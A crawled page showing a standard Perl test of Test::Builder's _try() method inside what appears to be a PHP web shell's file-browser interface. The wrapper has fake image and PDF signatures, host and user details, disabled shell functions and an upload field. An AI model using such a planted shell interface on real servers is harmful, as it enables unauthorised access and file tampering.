%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /usr/share/doc/perl-Test-Simple/t/Legacy/Builder/ |
Upload File : |
#!perl -w
BEGIN {
if( $ENV{PERL_CORE} ) {
chdir 't';
@INC = ('../lib', 'lib');
}
else {
unshift @INC, 't/lib';
}
}
use strict;
use Test::More 'no_plan';
require Test::Builder;
my $tb = Test::Builder->new;
# Test that _try() has no effect on $@ and $! and is not effected by
# __DIE__
{
local $SIG{__DIE__} = sub { fail("DIE handler called: @_") };
local $@ = 42;
local $! = 23;
is $tb->_try(sub { 2 }), 2;
is $tb->_try(sub { return '' }), '';
is $tb->_try(sub { die; }), undef;
is_deeply [$tb->_try(sub { die "Foo\n" })], [undef, "Foo\n"];
is $@, 42;
cmp_ok $!, '==', 23;
}
ok !eval {
$tb->_try(sub { die "Died\n" }, die_on_fail => 1);
};
is $@, "Died\n";